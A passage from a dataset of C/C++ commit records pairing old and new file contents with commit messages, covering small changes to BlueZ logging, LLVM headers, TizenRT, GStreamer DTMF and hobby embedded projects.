ALOG(LOG_ERROR, LOG_TAG, fmt, ##arg)\n#define DBG(fmt, arg...) ALOG(LOG_DEBUG, LOG_TAG, \"%s:%s() \"fmt, __FILE__, \\\n\t\t\t\t\t\t\t__func__, ##arg)\n","new_contents":"\/*\n * Copyright (C) 2013 Intel Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#define LOG_TAG \"BlueZ\"\n\n#ifdef __BIONIC__\n#include <cutils\/log.h>\n#else\n#include <stdio.h>\n#define LOG_INFO \" I\"\n#define LOG_WARN \" W\"\n#define LOG_ERROR \" E\"\n#define LOG_DEBUG \" D\"\n#define ALOG(pri, tag, fmt, arg...) fprintf(stderr, tag pri\": \" fmt\"\\n\", ##arg)\n#endif\n\n#define info(fmt, arg...) ALOG(LOG_INFO, LOG_TAG, fmt, ##arg)\n#define warn(fmt, arg...) ALOG(LOG_WARN, LOG_TAG, fmt, ##arg)\n#define error(fmt, arg...) ALOG(LOG_ERROR, LOG_TAG, fmt, ##arg)\n#define DBG(fmt, arg...) ALOG(LOG_DEBUG, LOG_TAG, \"%s:%s() \"fmt, __FILE__, \\\n\t\t\t\t\t\t\t__func__, ##arg)\n","subject":"Make HAL logging wrapper print to stderr instead of stdout","message":"android\/tester: Make HAL logging wrapper print to stderr instead of stdout\n\nThis is used for testing and for user it makes no difference. This\nwill allow to switch on\/off verbose logging from automated android\ntester.\n","lang":"C","license":"lgpl-2.1","repos":"pkarasev3\/bluez,pkarasev3\/bluez,silent-snowman\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,mapfau\/bluez,mapfau\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,mapfau\/bluez,silent-snowman\/bluez,ComputeCycles\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,silent-snowman\/bluez,pstglia\/external-bluetooth-bluez"}
{"commit":"7e8532edeb46a3b40c0260c4e2677e903f988fbd","old_file":"include\/llvm\/Testing\/Support\/SupportHelpers.h","new_file":"include\/llvm\/Testing\/Support\/SupportHelpers.h","old_contents":"\/\/===- Testing\/Support\/SupportHelpers.h -----------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TESTING_SUPPORT_SUPPORTHELPERS_H\n#define LLVM_TESTING_SUPPORT_SUPPORTHELPERS_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/Support\/Error.h\"\n\nnamespace llvm {\nnamespace detail {\nstruct ErrorHolder {\n  bool Success;\n  std::string Message;\n};\n\ntemplate <typename T> struct ExpectedHolder : public ErrorHolder {\n  Optional<T *> Value;\n};\n\ninline void PrintTo(const ErrorHolder &Err, std::ostream *Out) {\n  *Out << (Err.Success ? \"succeeded\" : \"failed\");\n  if (!Err.Success) {\n    *Out << \"  (\" << StringRef(Err.Message).trim().str() << \")\";\n  }\n}\n\ntemplate <typename T>\nvoid PrintTo(const ExpectedHolder<T> &Item, std::ostream *Out) {\n  if (Item.Success) {\n    *Out << \"succeeded with value \\\"\" << testing::PrintToString(**Item.Value)\n         << \"\\\"\";\n  } else {\n    PrintTo(static_cast<const ErrorHolder &>(Item), Out);\n  }\n}\n} \/\/ namespace detail\n} \/\/ namespace llvm\n\n#endif\n","new_contents":"\/\/===- Testing\/Support\/SupportHelpers.h -----------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TESTING_SUPPORT_SUPPORTHELPERS_H\n#define LLVM_TESTING_SUPPORT_SUPPORTHELPERS_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/Support\/Error.h\"\n#include \"gtest\/gtest-printers.h\"\n\nnamespace llvm {\nnamespace detail {\nstruct ErrorHolder {\n  bool Success;\n  std::string Message;\n};\n\ntemplate <typename T> struct ExpectedHolder : public ErrorHolder {\n  Optional<T *> Value;\n};\n\ninline void PrintTo(const ErrorHolder &Err, std::ostream *Out) {\n  *Out << (Err.Success ? \"succeeded\" : \"failed\");\n  if (!Err.Success) {\n    *Out << \"  (\" << StringRef(Err.Message).trim().str() << \")\";\n  }\n}\n\ntemplate <typename T>\nvoid PrintTo(const ExpectedHolder<T> &Item, std::ostream *Out) {\n  if (Item.Success) {\n    *Out << \"succeeded with value \\\"\" << ::testing::PrintToString(**Item.Value)\n         << \"\\\"\";\n  } else {\n    PrintTo(static_cast<const ErrorHolder &>(Item), Out);\n  }\n}\n} \/\/ namespace detail\n} \/\/ namespace llvm\n\n#endif\n","subject":"Add an include of gtest-printers.h to appease the buildbots.","message":"Add an include of gtest-printers.h to appease the buildbots.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@305396 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm"}
{"commit":"e174f652d9552b5ff5dd9d04ced0e28ba4d274cf","old_file":"tests\/fibonacci.c","new_file":"tests\/fibonacci.c","old_contents":"\nint fibonacci(int n)\n{\n    if(n == 1)\n        return 1;\n    if(n == 2)\n        return 1;\n\n    int x = fibonacci(n - 1);\n    int y = fibonacci(n - 2);\n\n    return x + y;\n}\n\nvoid main()\n{\n\n    return;\n}\n\n","new_contents":"\nint fibonacci(int n)\n{\n    if(n == 1)\n        return 1;\n    if(n == 2)\n        return 1;\n\n    int x = fibonacci(n - 1);\n    int y = fibonacci(n - 2);\n\n    return x + y;\n}\n\nvoid main()\n{\n    int n = readint();\n    writeint(fibonacci(n));\n    return;\n}\n\n","subject":"Add readint and writeint call.","message":"Add readint and writeint call.\n","lang":"C","license":"mit","repos":"RyanWangGit\/scc"}
{"commit":"da10dd621c699fdccac5c4e618f31ea61a2ebb23","old_file":"TimerDisplay.h","new_file":"TimerDisplay.h","old_contents":"#ifndef TIMER_DISPLAY_H\n#define TIMER_DISPLAY_H\n\n#include <SevenSegmentExtended.h>\n\nclass TimerDisplay : public SevenSegmentExtended\n{\npublic:\n  TimerDisplay(uint8_t pin_clk, uint8_t pin_dio);\n  void on();\n  void off();\n  void start();\n  void stop();\n  void refresh();\nprivate:\n  unsigned long start_millis;\n  bool is_running;\n  static const unsigned long millis_per_second = 1000;\n  static const unsigned long millis_per_minute = 60 * millis_per_second;\n  static const unsigned long millis_per_hour = 60 * millis_per_minute;\n  uint8_t millisToSeconds(unsigned long millis);\n  uint8_t millisToMinutes(unsigned long millis);\n};\n\n#endif\n","new_contents":"#ifndef TIMER_DISPLAY_H\n#define TIMER_DISPLAY_H\n\n#include <SevenSegmentExtended.h>\n\nclass TimerDisplay : public SevenSegmentExtended\n{\npublic:\n  TimerDisplay(uint8_t pin_clk, uint8_t pin_dio);\n  void on();\n  void off();\n  void start();\n  void stop();\n  void refresh();\nprivate:\n  unsigned long start_millis;\n  bool is_running;\n  static const unsigned long millis_per_second = 1000;\n  static const unsigned long millis_per_minute = 60 * millis_per_second;\n  static const unsigned long millis_per_hour = 60 * millis_per_minute;\n  static uint8_t millisToSeconds(unsigned long millis);\n  static uint8_t millisToMinutes(unsigned long millis);\n};\n\n#endif\n","subject":"Make static some functions that should be static","message":"Make static some functions that should be static\n","lang":"C","license":"mit","repos":"mortenfyhn\/coffee-scales"}
{"commit":"fddc41e81dda0627ccd9b6b998df57d62b8d2460","old_file":"test\/functional\/c-shared-library\/libtest.c","new_file":"test\/functional\/c-shared-library\/libtest.c","old_contents":"#ifdef __GNUC__\n #define DLL_PUBLIC __attribute__ ((dllexport))\n#else\n #define DLL_PUBLIC __declspec(dllexport) \/\/ Note: actually gcc seems to also supports this syntax.\n#endif\nDLL_PUBLIC int libtest_main()\n{\n\treturn 0;\n}\n","new_contents":"#if defined(__GNUC__) || defined(__clang__)\n# define DLL_PUBLIC __attribute__ ((dllexport))\n#else\n# define DLL_PUBLIC __declspec(dllexport)\n#endif\nDLL_PUBLIC int libtest_main()\n{\n\treturn 0;\n}\n","subject":"Use gcc attribute for clang too.","message":"test.functional.c-shared-library: Use gcc attribute for clang too.\n","lang":"C","license":"bsd-3-clause","repos":"hotgloupi\/configure,hotgloupi\/configure,hotgloupi\/configure,hotgloupi\/configure,hotgloupi\/configure"}
{"commit":"087a15380986981f0fcbab5a529edf355497907e","old_file":"exercises\/005-blink-without-timer.c","new_file":"exercises\/005-blink-without-timer.c","old_contents":"","new_contents":"#include <inc\/hw_types.h>\n#include <driverlib\/sysctl.h>\n#include <stdio.h>\n#include <string.h>\n#include <inc\/hw_memmap.h>\n#include <inc\/hw_sysctl.h>\n#include <driverlib\/gpio.h>\n#include <driverlib\/debug.h>\n\n#define DEFAULT_STRENGTH GPIO_STRENGTH_2MA\n#define DEFAULT_PULL_TYPE GPIO_PIN_TYPE_STD_WPU\n#define PORT_E GPIO_PORTE_BASE\n#define PORT_F GPIO_PORTF_BASE\n#define PIN_0 GPIO_PIN_0\n#define PIN_1 GPIO_PIN_1\n#define PIN_2 GPIO_PIN_2\n#define PIN_3 GPIO_PIN_3\n#define HIGH 0xFF\n#define LOW 0x00\n\n\nvoid hackDelay() {\n  int i = 0;\n  for (i = 0; i < 1000000; i++);\n}\n\nvoid setup() {\n  SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);\n\n  SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOE);\n  GPIOPinTypeGPIOInput(PORT_E, PIN_0 | PIN_1 | PIN_2 | PIN_3);\n  GPIOPadConfigSet(PORT_E, PIN_0 | PIN_1 | PIN_2 | PIN_3, DEFAULT_STRENGTH, DEFAULT_PULL_TYPE);\n\n  SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF);\n  GPIOPinTypeGPIOOutput(PORT_F, PIN_0 | PIN_1 | PIN_2 | PIN_3);\n  GPIOPadConfigSet(PORT_F, PIN_0 | PIN_1 | PIN_2 | PIN_3, DEFAULT_STRENGTH, DEFAULT_PULL_TYPE);\n}\n\nint main(){\n  setup();\n  while (1) {\n  \tGPIOPinWrite(PORT_F, PIN_0, HIGH);\n  \thackDelay();\n  \tGPIOPinWrite(PORT_F, PIN_0, LOW);\n  \tGPIOPinWrite(PORT_F, PIN_2, LOW);\n  \thackDelay();\n  \tGPIOPinWrite(PORT_F, PIN_2, HIGH);\n  \tGPIOPinWrite(PORT_F, PIN_3, LOW);\n  \thackDelay();\n  \tGPIOPinWrite(PORT_F, PIN_3, HIGH);\n  }\n}\n","subject":"Add example with hack to delay without timer","message":"feature: Add example with hack to delay without timer","lang":"C","license":"mit","repos":"marceloboeira\/unisinos-microprocessors"}
{"commit":"36e5254e4de0a03485b51f5b830db0ea65272e38","old_file":"lib\/Target\/SparcV9\/MappingInfo.h","new_file":"lib\/Target\/SparcV9\/MappingInfo.h","old_contents":"\/\/===- lib\/Target\/SparcV9\/MappingInfo.h -------------------------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Data structures to support the Reoptimizer's Instruction-to-MachineInstr\n\/\/ mapping information gatherer.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef MAPPINGINFO_H\n#define MAPPINGINFO_H\n\n#include <iosfwd>\n#include <vector>\n#include <string>\n\nnamespace llvm {\n\nclass Pass;\n\nPass *getMappingInfoAsmPrinterPass(std::ostream &out);\n\nclass MappingInfo {\n  struct byteVector : public std::vector <unsigned char> {\n    void dumpAssembly (std::ostream &Out);\n  };\n  std::string comment;\n  std::string symbolPrefix;\n  unsigned functionNumber;\n  byteVector bytes;\npublic:\n  void outByte (unsigned char b) { bytes.push_back (b); }\n  MappingInfo (std::string Comment, std::string SymbolPrefix,\n\t           unsigned FunctionNumber) : comment(Comment),\n        \t   symbolPrefix(SymbolPrefix), functionNumber(FunctionNumber) {}\n  void dumpAssembly (std::ostream &Out);\n  unsigned char *getBytes (unsigned &length) {\n\tlength = bytes.size(); return &bytes[0];\n  }\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- lib\/Target\/SparcV9\/MappingInfo.h -------------------------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Data structures to support the Reoptimizer's Instruction-to-MachineInstr\n\/\/ mapping information gatherer.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef MAPPINGINFO_H\n#define MAPPINGINFO_H\n\n#include <iosfwd>\n#include <vector>\n#include <string>\n\nnamespace llvm {\n\nclass Pass;\n\nPass *getMappingInfoAsmPrinterPass(std::ostream &out);\nPass *createInternalGlobalMapperPass();\n\nclass MappingInfo {\n  struct byteVector : public std::vector <unsigned char> {\n    void dumpAssembly (std::ostream &Out);\n  };\n  std::string comment;\n  std::string symbolPrefix;\n  unsigned functionNumber;\n  byteVector bytes;\npublic:\n  void outByte (unsigned char b) { bytes.push_back (b); }\n  MappingInfo (std::string Comment, std::string SymbolPrefix,\n\t           unsigned FunctionNumber) : comment(Comment),\n        \t   symbolPrefix(SymbolPrefix), functionNumber(FunctionNumber) {}\n  void dumpAssembly (std::ostream &Out);\n  unsigned char *getBytes (unsigned &length) {\n\tlength = bytes.size(); return &bytes[0];\n  }\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Add decl. for new mapping info pass factory method.","message":"Add decl. for new mapping info pass factory method.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@13979 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap"}
{"commit":"ec83646e392933afcd7c7686f6ad157ebe4d2769","old_file":"os\/include\/tinyara\/seclink_drv.h","new_file":"os\/include\/tinyara\/seclink_drv.h","old_contents":"#ifndef _SECLINK_DRV_H__\n#define _SECLINK_DRV_H__\n\n#include <stdint.h>\n\nstruct sec_lowerhalf_s;\nstruct sec_upperhalf_s {\n\tstruct sec_lowerhalf_s *lower;\n\tchar *path;\n\tint32_t refcnt;\n\tsem_t su_lock;\n};\n\nstruct sec_ops_s;\nstruct sec_lowerhalf_s {\n\tstruct sec_ops_s *ops;\n\tstruct sec_upperhalf_s *parent;\n};\n\nint se_register(const char *path, struct sec_lowerhalf_s *lower);\n\nint se_unregister(struct sec_lowerhalf_s *lower);\n\n#endif \/\/ _SECLINK_DRV_H__\n","new_contents":"#ifndef _SECLINK_DRV_H__\n#define _SECLINK_DRV_H__\n\n#include <stdint.h>\n#include <semaphore.h>\n\nstruct sec_lowerhalf_s;\nstruct sec_upperhalf_s {\n\tstruct sec_lowerhalf_s *lower;\n\tchar *path;\n\tint32_t refcnt;\n\tsem_t su_lock;\n};\n\nstruct sec_ops_s;\nstruct sec_lowerhalf_s {\n\tstruct sec_ops_s *ops;\n\tstruct sec_upperhalf_s *parent;\n};\n\nint se_register(const char *path, struct sec_lowerhalf_s *lower);\n\nint se_unregister(struct sec_lowerhalf_s *lower);\n\n#endif \/\/ _SECLINK_DRV_H__\n","subject":"Resolve build break for rtl8721csm\/security_hal_test config.","message":"include\/tinyara: Resolve build break for rtl8721csm\/security_hal_test config.\n\nThis patch resolves build break for rtl8721csm\/security_hal_test configuration.\n\nSigned-off-by: Vidisha <3d8bcdb46ae40344d12a5a0255e34cf386c7657a@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"pillip8282\/TizenRT,junmin-kim\/TizenRT,jsdosa\/TizenRT,junmin-kim\/TizenRT,jsdosa\/TizenRT,junmin-kim\/TizenRT,jeongarmy\/TizenRT,an4967\/TizenRT,Samsung\/TizenRT,pillip8282\/TizenRT,junmin-kim\/TizenRT,an4967\/TizenRT,Samsung\/TizenRT,Samsung\/TizenRT,an4967\/TizenRT,jeongchanKim\/TizenRT,pillip8282\/TizenRT,sunghan-chang\/TizenRT,jeongarmy\/TizenRT,jeongchanKim\/TizenRT,jsdosa\/TizenRT,jeongchanKim\/TizenRT,jeongarmy\/TizenRT,jsdosa\/TizenRT,jeongarmy\/TizenRT,Samsung\/TizenRT,sunghan-chang\/TizenRT,Samsung\/TizenRT,Samsung\/TizenRT,jeongchanKim\/TizenRT,jeongarmy\/TizenRT,sunghan-chang\/TizenRT,jsdosa\/TizenRT,jeongchanKim\/TizenRT,jsdosa\/TizenRT,an4967\/TizenRT,pillip8282\/TizenRT,Samsung\/TizenRT,an4967\/TizenRT,jeongchanKim\/TizenRT,pillip8282\/TizenRT,jsdosa\/TizenRT,pillip8282\/TizenRT,sunghan-chang\/TizenRT,junmin-kim\/TizenRT,jeongchanKim\/TizenRT,an4967\/TizenRT,pillip8282\/TizenRT,jeongarmy\/TizenRT,an4967\/TizenRT,jeongarmy\/TizenRT,sunghan-chang\/TizenRT,junmin-kim\/TizenRT,sunghan-chang\/TizenRT,sunghan-chang\/TizenRT,junmin-kim\/TizenRT"}
{"commit":"4e11ac31897512ee8da99bede058c9666f2ed3d8","old_file":"include\/mart-common\/exceptions.h","new_file":"include\/mart-common\/exceptions.h","old_contents":"#ifndef LIB_MART_COMMON_GUARD_EXPERIMENTAL_NW_EXCEPTIONS_H\n#define LIB_MART_COMMON_GUARD_EXPERIMENTAL_NW_EXCEPTIONS_H\n\n#include <exception>\n\n#include \"ConstString.h\"\n\nnamespace mart {\n\nclass RuntimeError : public std::exception {\n\tmart::ConstString _msg;\n\npublic:\n\tRuntimeError( mart::ConstString message )\n\t\t: _msg( std::move( message ).createZStr() )\n\t{\n\t}\n\tconst char* what() const noexcept override { return _msg.c_str(); }\n};\n\nstruct InvalidArgument : RuntimeError {\n\tusing RuntimeError::RuntimeError;\n};\n\n} \/\/ namespace mart\n\n#endif","new_contents":"#ifndef LIB_MART_COMMON_GUARD_EXPERIMENTAL_NW_EXCEPTIONS_H\n#define LIB_MART_COMMON_GUARD_EXPERIMENTAL_NW_EXCEPTIONS_H\n\n#include <exception>\n\n#include \"ConstString.h\"\n\nnamespace mart {\n\nclass RuntimeError : public std::exception {\n\tmba::im_zstr _msg;\n\npublic:\n\tRuntimeError( mba::im_zstr message ) noexcept\n\t\t: _msg( std::move( message ) )\n\t{\n\t}\n\tconst char* what() const noexcept override { return _msg.c_str(); }\n};\n\nstruct InvalidArgument : RuntimeError {\n\tusing RuntimeError::RuntimeError;\n};\n\nstruct BlockingOpCanceled : RuntimeError {\n\tBlockingOpCanceled() noexcept\n\t\t: RuntimeError( mba::im_zstr( \"Blocking operation was canceled\" ) )\n\t{\n\t}\n\tusing RuntimeError::RuntimeError;\n};\n\n} \/\/ namespace mart\n\n#endif","subject":"Add BlockingOpCanceled and use im_zstr","message":"[exception] Add BlockingOpCanceled and use im_zstr\n","lang":"C","license":"mit","repos":"tum-ei-rcs\/mart-common,tum-ei-rcs\/mart-common"}
{"commit":"9c8944ca89e40772cd3b1f2fe933f428c688221c","old_file":"gst\/dtmf\/gstdtmf.c","new_file":"gst\/dtmf\/gstdtmf.c","old_contents":"\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"gstdtmfdetect.h\"\n#include \"gstdtmfsrc.h\"\n#include \"gstrtpdtmfsrc.h\"\n#include \"gstrtpdtmfdepay.h\"\n\n\nstatic gboolean\nplugin_init (GstPlugin * plugin)\n{\n  if (!gst_dtmf_detect_plugin_init (plugin))\n    return FALSE;\n\n  if (!gst_dtmf_src_plugin_init (plugin))\n    return FALSE;\n\n  if (!gst_rtp_dtmf_src_plugin_init (plugin))\n    return FALSE;\n\n  if (!gst_rtp_dtmf_depay_plugin_init (plugin))\n    return FALSE;\n\n  return TRUE;\n}\n\nGST_PLUGIN_DEFINE (GST_VERSION_MAJOR,\n    GST_VERSION_MINOR,\n    \"dtmf\", \"DTMF plugins\",\n    plugin_init, VERSION, GST_LICENSE, GST_PACKAGE_NAME, GST_PACKAGE_ORIGIN)\n","new_contents":"\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"gstdtmfdetect.h\"\n#include \"gstdtmfsrc.h\"\n#include \"gstrtpdtmfsrc.h\"\n#include \"gstrtpdtmfdepay.h\"\n\n\nstatic gboolean\nplugin_init (GstPlugin * plugin)\n{\n  if (!gst_dtmf_detect_plugin_init (plugin))\n    return FALSE;\n\n  if (!gst_dtmf_src_plugin_init (plugin))\n    return FALSE;\n\n  if (!gst_rtp_dtmf_src_plugin_init (plugin))\n    return FALSE;\n\n  if (!gst_rtp_dtmf_depay_plugin_init (plugin))\n    return FALSE;\n\n  return TRUE;\n}\n\nGST_PLUGIN_DEFINE (GST_VERSION_MAJOR,\n    GST_VERSION_MINOR,\n    dtmf, \"DTMF plugins\",\n    plugin_init, VERSION, GST_LICENSE, GST_PACKAGE_NAME, GST_PACKAGE_ORIGIN)\n","subject":"Update for GST_PLUGIN_DEFINE() API changes","message":"gst: Update for GST_PLUGIN_DEFINE() API changes\n","lang":"C","license":"lgpl-2.1","repos":"rawoul\/gst-plugins-good,ndufresne\/gst-plugins-good,sebras\/gst-plugins-good,veo-labs\/gst-plugins-good,GrokImageCompression\/gst-plugins-good,ariscop\/gst-plugins-good,BigBrother-International\/gst-plugins-good,shelsonjava\/gst-plugins-good,froggatt\/gst-plugins-good-m,cablelabs\/gst-plugins-good,GStreamer\/gst-plugins-good,StreamUtils\/gst-plugins-good,lovebug356\/gst-plugins-good,sebras\/gst-plugins-good,sh0\/gst-plugins-good,Kurento\/gst-plugins-good,ikonst\/gst-plugins-good,StreamUtils\/gst-plugins-good,veo-labs\/gst-plugins-good,cfoch\/gst-plugins-good,freedesktop-unofficial-mirror\/gstreamer__gst-plugins-good,krieger-od\/gst-plugins-good,ijsf\/OpenWebRTC-gst-plugins-good,Lachann\/gst-plugins-good,greg80303\/gst-plugins-good,pexip\/gst-plugins-good,ijsf\/OpenWebRTC-gst-plugins-good,ndufresne\/gst-plugins-good,jcaden\/gst-plugins-good,surround-io\/gst-plugins-good,pexip\/gst-plugins-good,loshca\/gst-plugins-good,cablelabs\/gst-plugins-good,sh0\/gst-plugins-good,BigBrother-International\/gst-plugins-good,wkatsak\/gst-plugins-good,davibe\/gst-plugins-good-1.0,Lachann\/gst-plugins-good,greg80303\/gst-plugins-good,jcaden\/gst-plugins-good,cfoch\/gst-plugins-good,Lachann\/gst-plugins-good,reynaldo-samsung\/gst-plugins-good,ndufresne\/gst-plugins-good,freedesktop-unofficial-mirror\/gstreamer__gst-plugins-good,GStreamer\/gst-plugins-good,jhodapp\/gst-plugins-good,wkatsak\/gst-plugins-good,ikonst\/gst-plugins-good,greg80303\/gst-plugins-good,ikonst\/gst-plugins-good,froggatt\/gst-plugins-good-m,StreamUtils\/gst-plugins-good,shelsonjava\/gst-plugins-good,veo-labs\/gst-plugins-good,stfl\/gst-plugins-good,hizukiayaka\/gst-plugins-good,jpakkane\/gstreamer-plugins-good,stfl\/gst-plugins-good,wkatsak\/gst-plugins-good,davibe\/gst-plugins-good-1.0,davibe\/gst-plugins-good-1.0,Kurento\/gst-plugins-good,ikonst\/gst-plugins-good,vatavuserban\/gst-plugins-good,chamois94\/gst-plugins-good,GrokImageCompression\/gst-plugins-good,ted-n\/gst-plugins-good,reynaldo-samsung\/gst-plugins-good,GrokImageCompression\/gst-plugins-good,rawoul\/gst-plugins-good,collects\/gst-plugins-good,pexip\/gst-plugins-good,sebras\/gst-plugins-good,krieger-od\/gst-plugins-good,StreamUtils\/gst-plugins-good,ariscop\/gst-plugins-good,vatavuserban\/gst-plugins-good,reynaldo-samsung\/gst-plugins-good,cablelabs\/gst-plugins-good,strukturag\/gst-plugins-good,hizukiayaka\/gst-plugins-good,kittee\/gst-plugins-good,davibe\/gst-plugins-good-1.0,surround-io\/gst-plugins-good,strukturag\/gst-plugins-good,collects\/gst-plugins-good,ted-n\/gst-plugins-good,froggatt\/gst-plugins-good-m,loshca\/gst-plugins-good,stfl\/gst-plugins-good,loshca\/gst-plugins-good,cablelabs\/gst-plugins-good,Lachann\/gst-plugins-good,chamois94\/gst-plugins-good,Kurento\/gst-plugins-good,surround-io\/gst-plugins-good,jhodapp\/gst-plugins-good,Kurento\/gst-plugins-good,Kurento\/gst-plugins-good,GrokImageCompression\/gst-plugins-good,GStreamer\/gst-plugins-good,ndufresne\/gst-plugins-good,freedesktop-unofficial-mirror\/gstreamer__gst-plugins-good,jhodapp\/gst-plugins-good,lovebug356\/gst-plugins-good,pexip\/gst-plugins-good,jcaden\/gst-plugins-good,veo-labs\/gst-plugins-good,cfoch\/gst-plugins-good,sh0\/gst-plugins-good,froggatt\/gst-plugins-good-m,kittee\/gst-plugins-good,freedesktop-unofficial-mirror\/gstreamer__gst-plugins-good,jcaden\/gst-plugins-good,reynaldo-samsung\/gst-plugins-good,greg80303\/gst-plugins-good,collects\/gst-plugins-good,jpakkane\/gstreamer-plugins-good,strukturag\/gst-plugins-good,jhodapp\/gst-plugins-good,ijsf\/OpenWebRTC-gst-plugins-good,surround-io\/gst-plugins-good,jpakkane\/gstreamer-plugins-good,jpakkane\/gstreamer-plugins-good,ted-n\/gst-plugins-good,chamois94\/gst-plugins-good,ted-n\/gst-plugins-good,kittee\/gst-plugins-good,collects\/gst-plugins-good,ijsf\/OpenWebRTC-gst-plugins-good,chamois94\/gst-plugins-good,rawoul\/gst-plugins-good,kittee\/gst-plugins-good,hizukiayaka\/gst-plugins-good,cfoch\/gst-plugins-good,ariscop\/gst-plugins-good,ariscop\/gst-plugins-good,krieger-od\/gst-plugins-good,shelsonjava\/gst-plugins-good,hizukiayaka\/gst-plugins-good,BigBrother-International\/gst-plugins-good,strukturag\/gst-plugins-good,stfl\/gst-plugins-good,BigBrother-International\/gst-plugins-good,sh0\/gst-plugins-good,lovebug356\/gst-plugins-good,GStreamer\/gst-plugins-good,lovebug356\/gst-plugins-good,shelsonjava\/gst-plugins-good,vatavuserban\/gst-plugins-good,krieger-od\/gst-plugins-good,loshca\/gst-plugins-good,rawoul\/gst-plugins-good,sebras\/gst-plugins-good,vatavuserban\/gst-plugins-good,pexip\/gst-plugins-good,wkatsak\/gst-plugins-good"}
{"commit":"5957e7a2fd2ab77b58a301c6c97071b98a5e2648","old_file":"src\/xmlhandler.h","new_file":"src\/xmlhandler.h","old_contents":"#ifndef GPXMLHANDLER_H\n#define GPXMLHANDlER_H\n\n#include <QtXml\/QXmlDefaultHandler>\n#include <QtCore\/QDebug>\n\nclass PlaceContainer;\nclass PlaceMark;\n\nclass KAtlasXmlHandler : public QXmlDefaultHandler {\npublic:\n\tKAtlasXmlHandler();\n\tKAtlasXmlHandler( PlaceContainer* );\n\n\tbool startDocument();\n\tbool stopDocument();\n\n\tbool startElement( const QString&, const QString&, const QString &name, const QXmlAttributes& attrs );\n\tbool endElement( const QString&, const QString&, const QString &name );\n\n\tbool characters( const QString& str );\n\nprotected:\n\tPlaceContainer* m_placecontainer;\n\tPlaceMark* m_placemark;\n\n\tbool m_inKml;\n\tbool m_inPlacemark;\n\tbool m_inPoint;\n\tbool m_coordsset;\n\n\tQString 